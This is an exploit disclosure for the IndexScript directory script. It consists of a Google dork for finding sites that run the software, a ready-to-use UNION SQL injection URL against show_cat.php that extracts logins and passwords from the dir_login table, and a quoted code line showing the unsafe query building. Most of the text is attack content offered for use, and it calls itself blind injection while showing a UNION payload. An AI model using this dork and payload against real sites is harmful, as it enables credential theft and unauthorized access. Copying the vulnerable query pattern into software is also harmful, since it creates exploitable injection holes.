Site: http://indexscript.com
Found By: xssvgamer

Google Dork: allintext: "This site is powered by IndexScript"

exploit:

http://www.example.com/show_cat.php?cat_id=-1 UNION ALL SELECT login,password FROM dir_login /*

Blind SQL injection in indexscript..

Vul Code:
"$sql = "select name, meta_title, meta_description, meta_keywords from dir_cat where " .
 "cat_id=" . fnpreparesql($_GET['cat_id']);"